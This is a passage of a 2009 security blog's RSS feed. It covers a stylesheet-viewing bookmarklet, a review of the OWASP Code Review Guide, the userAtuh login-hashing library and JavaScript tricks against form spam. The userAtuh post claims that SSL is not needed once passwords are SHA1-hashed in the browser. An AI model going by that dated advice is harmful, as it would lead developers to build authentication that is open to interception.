<p><a href="javascript:s=document.getElementsByTagName('STYLE'); ex=document.getElementsByTagName('LINK'); d=window.open().document; /*set base href*/d.open();d.close(); b=d.body; function trim(s){return s.replace(/^\s*\n/, '').replace(/\s*$/, ''); }; function iff(a,b,c){return b?a+b+c:'';}function add(h){b.appendChild(h);} function makeTag(t){return d.createElement(t);} function makeText(tag,text){t=makeTag(tag);t.appendChild(d.createTextNode(text)); return t;} add(makeText('style', 'iframe{width:100%;height:18em;border:1px solid;')); add(makeText('h3', d.title='Style sheets in ' + location.href)); for(i=0; i&lt;s.length; ++i) { add(makeText('h4','Inline style sheet'  + iff(' title=&quot;',s[i].title,'&quot;'))); add(makeText('pre', trim(s[i].innerHTML))); } for (i=0; i&lt;ex.length; ++i) { rs=ex[i].rel.split(' '); for(j=0;j&lt;rs.length;++j) if (rs[j].toLowerCase()=='stylesheet') { add(makeText('h4','link rel=&quot;' + ex[i].rel + '&quot; href=&quot;' + ex[i].href + '&quot;' + iff(' title=&quot;',ex[i].title,'&quot;'))); iframe=makeTag('iframe'); iframe.src=ex[i].href; add(iframe); break; } } void 0">viewCSS</a> &#8211; view currently included style sheets.</p>
<p>For these and more bookmarklets check them out on&#8230; <a href="http://www.google.com/search?q=bookmarklets" target="_blank">Google -> Bookmarklets</a>&#8230; Note: some may not work in other browsers than Firefox, like the jsShell for example&#8230;</p></p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/bookmarklets/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OWASP Code Review Guide</title>
		<link>http://insanesecurity.info/blog/owasp-code-review-guide</link>
		<comments>http://insanesecurity.info/blog/owasp-code-review-guide#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:25:00 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=50</guid>
		<description><![CDATA[Code review is probably the single-most effective technique for identifying security flaws. When used together with automated tools and manual penetration testing, code review can significantly increase the cost effectiveness of an application security verification effort. (Introduction) The first section (Methodology) walks you through the: introduction to code review, preparation for code review, security code [...]]]></description>
			<content:encoded><![CDATA[<p>Code review is probably the single-most effective technique for identifying security flaws. When used together with automated tools and manual penetration testing, code review can significantly increase the cost effectiveness of an application security verification effort. (<a href="http://www.owasp.org/index.php/Code_Review_Introduction" target="_blank">Introduction</a>)<br />
<span id="more-50"></span><br />
<img src="http://insanesecurity.info/wp-content/uploads//owasp-code-review-guide.jpg" style="float:right;margin: 0 0 0 4px" width="200" />The first section (Methodology) walks you through the: introduction to code review, preparation for code review, security code review in software development life cycle (waterfall and agile), security code review coverage, application threat modeling and code review metrics. From this first section I&#8217;ve found very interesting the &#8220;application threat modeling&#8221; page, because I never did know how to classify (evaluate) the risk of a vulnerability and it really made me understand a lot about it.</p>
<p>The next section of the guide is about crawling code, what to look for in JAVA/ASP/JavaSript.</p>
<p>I&#8217;ll skip the rest (I&#8217;ll let you discover it) and only mention the &#8220;example by technical control&#8221;, section which I would recommend to any web developer (regardless of language) because It points out every aspect for the following technical controls: authentication, authorization, session management, input/data validation, error handling, secure deployment, cryptographic controls.</p>
<p>That being said, you can read the guide on-line at <a href="http://www.owasp.org/index.php/OWASP_Code_Review_Guide_Table_of_Contents" target="_blank">owasp.org</a>, or download the pdf version from <a href="http://www.lulu.com/content/5678680" target="_blank">lulu.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/owasp-code-review-guide/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>userAtuh – frontend to backend encryption</title>
		<link>http://insanesecurity.info/blog/useratuh-%e2%80%93-frontend-to-backend-encryption</link>
		<comments>http://insanesecurity.info/blog/useratuh-%e2%80%93-frontend-to-backend-encryption#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:50:02 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=18</guid>
		<description><![CDATA[How many times did you check a web application of yours with a security auditing tool? I can tell you that I did it a couple of times. And as usual it always hit me with the same warning: &#8216;the login information is sent in plain text to &#8230;php&#8217;, or something of sort. And ignoring [...]]]></description>
			<content:encoded><![CDATA[<p>How many times did you check a web application of yours with a security auditing tool?<br />
I can tell you that I did it a couple of times. And as usual it always hit me with the same warning: &#8216;the login information is sent in plain text to &#8230;php&#8217;, or something of sort.</p>
<p><span id="more-18"></span><br />
And ignoring this warning is half as bad as having a sql injection vulnerability. Even if home users no longer are a part in a shared network thus sniffing is highly improbable, companies have LAN&#8217;s which would make a sniffing attack possible (if the sysadmin didn&#8217;t do his  job). Throwing away all your security implementations, password enforcements&#8230;</p>
<p>SSL is the solution for this case but isn&#8217;t necesarily needed. Here comes in <a href="http://sourceforge.net/projects/useratuh/">userAtuh</a>. Yes it&#8217;s a typo, but who cares how it&#8217;s called as long as it does a great job?</p>
<p><strong>UserAtuh</strong> is a php/js library used for serverside/client side password encryption, ment to mask the password sent by login forms. You can download it from it&#8217;s <a href="http://sourceforge.net/projects/useratuh/">project page on SourceForge</a>.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>How does it work? Actually it&#8217;s quite straight forward, but I could better show it&#8217;s working by pointing out the key portions of code.</p>
<p>It all starts with the login form with has defined to the on submit event assigned to the <strong>setEncryption()</strong> function, which: hashes the password, joins it with the username and key and double hashes the result storing it in a hidden input field.</p>
<p>Upon form submision the only two values that are requested are the username and the result of the <strong>setEncryption()</strong> function. The rest is ignored. Forgot to mention that the <strong>setEncryption()</strong> function also changes the password from the input field with a substring of its result.</p>
<p>The authentification is done by the function with the same name from the <strong>KeyHandler</strong> object:</p>
<pre>
public function authenticate($name,$encodedPass,$sha1=true){
    //get the last key that was generated for this
    //session
    $ip = getenv('REMOTE_ADDR');
    $key  = $this->_dba->getKeyFromDB($ip);

    //check if a user exists with this name
    if ($this->_dba->userExists($name)==false) return false;    	

    //retrive the password for the user
    $pass = $this->_dba->getPass($name);

    //make sure password is hashed
    if (!$sha1) $pass = sha1($pass);

    //create a hashed string from the date collected
    $encoded = sha1(sha1($pass.$name.$key));

    //generate a new key, so the last key won't be usable
    $this->generateKey();

    //check the hashed string with the key sent by the
    //client side
    return ($encodedPass==$encoded);
}
</pre>
<p>Simple, easy, useful. It&#8217;s implementation can take at maximum a couple of minutes. Quick and painless, just as I like &#8216;em.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/useratuh-%e2%80%93-frontend-to-backend-encryption/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spam free forms and contact details</title>
		<link>http://insanesecurity.info/blog/spam-free-forms-and-contact-details</link>
		<comments>http://insanesecurity.info/blog/spam-free-forms-and-contact-details#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:47:38 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/spam-free-forms-and-contact-details</guid>
		<description><![CDATA[I always have been annoyed by things like: the morning alarm clock, long distance travels, undocumented functions and spam. But from all the above mentioned spam as well may be the most annoying one from it, the rest of them don&#8217;t happen that often. And certainly we realize the mass spreading of spam when we [...]]]></description>
			<content:encoded><![CDATA[<p>I always have been annoyed by things like: the morning alarm clock, long distance travels, undocumented functions and spam. But from all the above mentioned spam as well may be the most annoying one from it, the rest of them don&#8217;t happen that often.<br />
<span id="more-17"></span><br />
And certainly we realize the mass spreading of spam when we see the statistics for <a href="http://files.data.timgraham.net.s3.amazonaws.com/tg/blogs/data/wp-content/uploads/amonthofspam.gif">a month of spam</a>. Unfortunately the number of spammers will grow/maintain itself long from now on. Until spammers get paid I can&#8217;t see why they would stop. Hell, some people try making money by <a href="http://www.forward-moving.com/blog/2006/10/12/spam-a-battle-worth-fighting/">trademarking the word spam</a>.</p>
<p>Well, enough said about that, the main issue we are facing is how to reduce the spam we get. I&#8217;m not talking about email protection, or blog protection; I don&#8217;t know how you people consider, but I think Akismet is doing a great job for blogs! I want to talk about those moments when you create a contact/comment page and want to make it spam proof.</p>
<h2>Are you human? (CAPTCHA)</h2>
<p>It seems to be the solution in many cases. But I&#8217;m not talking about making your own CAPTCHA, if you lack the experience. Some did it and it went from &#8217;simple&#8217; to imposible: take a look at <a href="http://www.geeksaresexy.net/2008/04/24/rapidshare-captcha-will-drive-you-crazy/">RapidShare&#8217;s CAPTCHA</a>. Instead I would recommend you to implement <a href="http://recaptcha.net/">reCAPTCHA</a>. Apart from the fact that you can reinitialize a CAPTCHA when you can&#8217;t read it, it has playable sound version of it for visualy impaled people. And on top of all this you help <a href="http://recaptcha.net/learnmore.html">digitize old texts</a>. As if that weren&#8217;t enough, it protects you from bots that may have surpased the other protection techniques.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>The math question = ?</h2>
<p>I bet you all have seen it, quite often used in a static equation way. I have also wrote about it on my last home of the blog in the article <a href="http://insanesecurity.wordpress.com/2008/04/22/less-spam-on-blogs/">less spam on blogs</a>. I think that I said enough about it there.</p>
<h2>Javascript to the rescue!?</h2>
<p>It may seem that the simplest and handier way to protect a form against spam bots may as well be Javascript. We live in a web 2.0 enviroument, full of Javascript effects and only a handful of people have it restricted with <a href="http://noscript.net">NoScript</a> or something of sort. Thus we can safely use javascript as a protection against spam. Why? Because normal bots can&#8217;t parse (execute) Javascript code, even crawlers (GoogleBot, YahooBot) parse Javascript code only for obvious links, email addresses, etc.</p>
<p>There are two ways to do a form with Javascript: DOM way and simple dumping way. Simple is better:</p>
<pre>
&lt;form action="target.php"&gt;
  &lt;script type="text/javascript"&gt;
    document.write('&lt;in'+'put type="text" name="human" /&gt;');
    document.write('&lt;inpu'+'t type="submit" /&gt;');
  &lt;/script&gt;
&lt;/form&gt;
</pre>
<p>The concatenation of the strings is needed so that the bots can&#8217;t match it against there usual input regular expressions. I used this type of protection for displaying my email address on the <a href="http://insanesecurity.info/about/">About</a> page, although could have used <a href="http://mailhide.recaptcha.net/">MailHide</a> also. Didn&#8217;t want to bother my readers that much.</p>
<h2>Conclusion</h2>
<p>Actually it&#8217;s totally up to you to choose one of the above. CAPTCHA would be the best, but in some particular cases there is no need to bother your users so much, check my previous example.</p>
<p>Update: <a href="http://www.csarven.ca/hiding-email-addresses">Hide email address in source code</a></p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/spam-free-forms-and-contact-details/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
